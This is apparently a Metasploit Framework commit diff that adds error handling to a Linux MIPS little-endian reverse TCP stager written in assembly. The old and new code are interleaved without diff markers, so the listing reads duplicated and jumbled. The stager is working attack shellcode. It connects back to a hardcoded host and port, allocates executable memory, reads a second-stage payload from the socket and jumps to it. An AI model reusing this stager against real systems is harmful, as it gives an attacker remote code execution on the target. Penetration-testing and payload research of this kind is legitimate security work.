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https://github.com/rapid7/metasploit-framework
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add error handling to stager_sock_reverse src on mipsle
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tkmru
parent
aceeedc895
commit
adeffd6600
@ -1,11 +1,11 @@
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##
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#
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#
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# Name: stager_sock_reverse
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# Type: Stager
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# Qualities: No Nulls out of the IP / Port data
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# Platforms: Linux MIPS Little Endian
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# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
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# License:
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# License:
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#
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# This file is part of the Metasploit Exploit Framework
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# and is subject to the same licenses and copyrights as
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@ -27,101 +27,119 @@
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# generate the string to place on:
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# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
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##
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.text
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.align 2
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.globl main
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.set nomips16
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.text
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.align 2
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.globl main
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.set nomips16
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main:
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.set noreorder
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.set nomacro
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.set noreorder
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.set nomacro
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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# a0: domain = PF_INET (2)
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# a1: type = SOCK_STREAM (2)
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# a2: protocol = IPPROTO_IP (0)
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# v0: syscall = __NR_socket (4183)
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li $t7, -6
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nor $t7, $t7, $zero
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addi $a0, $t7, -3
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addi $a1, $t7, -3
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slti $a2, $zero, -1
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li $v0, 4183
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syscall 0x40404
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sw $v0, -4($sp) # store the file descriptor for the socket on the stack
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
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# a0: sockfd
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# a1: addr = AF_INET (2)
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# a2: addrlen = 16
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# v0: syscall = __NR_connect (4170)
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lw $a0, -4($sp)
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li $t7, -3
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nor $t7, $t7, $zero
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sw $t7, -30($sp)
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ori $t6, $zero, 0x5c11 # port
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sw $t6, -28($sp)
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lui $t6, 0x100 # ip
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ori $t6, $t6, 0x7f # ip
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sw $t6, -26($sp)
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addiu $a1, $sp, -30
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li $t4, -17
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nor $a2, $t4, $zero
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li $v0, 4170
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syscall 0x40404
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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# a0: addr = -1
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# a1: lenght = 4096
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# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
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# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
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# sp(16): fd = -1
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# sp(20): offset = 0
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# v0: syscall = __NR_mmap (4090)
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li $a0, -1
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li $a1, 4097
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addi $a1, $a1, -1
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li $t1, -8
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $a3, 2050
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li $t3, -22
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nor $t3, $t3, $zero
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add $t3, $sp, $t3
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sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
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sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
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li $v0, 4090
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syscall 0x40404
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sw $v0, -8($sp) # Stores the mmap'ed address on the stack
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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# a0: domain = PF_INET (2)
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# a1: type = SOCK_STREAM (2)
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# a2: protocol = IPPROTO_IP (0)
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# v0: syscall = __NR_socket (4183)
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li $t7, -6
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nor $t7, $t7, $zero
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addi $a0, $t7, -3
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addi $a1, $t7, -3
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slti $a2, $zero, -1
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li $v0, 4183
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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sw $v0, -4($sp) # store the file descriptor for the socket on the stack
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# read(sockfd, addr, 4096)
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# a0: sockfd
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# a1: addr
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# a2: len = 4096
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# v0: syscall = __NR_read (4003)
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lw $a0, -4($sp)
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lw $a1, -8($sp)
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li $a2, 4097
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addi $a2, $a2, -1
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li $v0, 4003
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syscall 0x40404
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
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# a0: sockfd
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# a1: addr = AF_INET (2)
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# a2: addrlen = 16
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# v0: syscall = __NR_connect (4170)
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lw $a0, -4($sp)
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li $t7, -3
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nor $t7, $t7, $zero
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sw $t7, -30($sp)
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ori $t6, $zero, 0x5c11 # port
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sw $t6, -28($sp)
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lui $t6, 0x100 # ip
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ori $t6, $t6, 0x7f # ip
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sw $t6, -26($sp)
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addiu $a1, $sp, -30
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li $t4, -17
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nor $a2, $t4, $zero
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li $v0, 4170
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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# cacheflush(addr, nbytes, DCACHE)
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# a0: addr
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# a1: nbytes
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# a2: cache = DCACHE (2)
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# v0: syscall = __NR_read (4147)
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lw $a0, -8($sp)
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add $a1, $v0, $zero
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li $t1, -3
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $v0, 4147
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syscall 0x40404
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# jmp to the stage
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lw $s1, -8($sp)
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lw $s2, -4($sp) # sockfd saved on $s2
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jalr $s1
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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# a0: addr = -1
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# a1: lenght = 4096
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# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
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# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
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# sp(16): fd = -1
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# sp(20): offset = 0
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# v0: syscall = __NR_mmap (4090)
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li $a0, -1
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li $a1, 4097
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addi $a1, $a1, -1
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li $t1, -8
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $a3, 2050
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li $t3, -22
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nor $t3, $t3, $zero
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add $t3, $sp, $t3
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sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
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sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
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li $v0, 4090
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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sw $v0, -8($sp) # Stores the mmap'ed address on the stack
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.set macro
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.set reorder
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# read(sockfd, addr, 4096)
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# a0: sockfd
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# a1: addr
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# a2: len = 4096
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# v0: syscall = __NR_read (4003)
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lw $a0, -4($sp)
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lw $a1, -8($sp)
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li $a2, 4097
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addi $a2, $a2, -1
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li $v0, 4003
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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# cacheflush(addr, nbytes, DCACHE)
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# a0: addr
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# a1: nbytes
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# a2: cache = DCACHE (2)
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# v0: syscall = __NR_read (4147)
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lw $a0, -8($sp)
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add $a1, $v0, $zero
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li $t1, -3
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $v0, 4147
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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# jmp to the stage
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lw $s1, -8($sp)
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lw $s2, -4($sp) # sockfd saved on $s2
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jalr $s1
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failed:
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# exit(status)
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# a0: status
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# v0: syscall = __NR_exit (4001)
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li $a0, 1
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li $v0, 4001
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syscall 0x40404
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.set macro
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.set reorder
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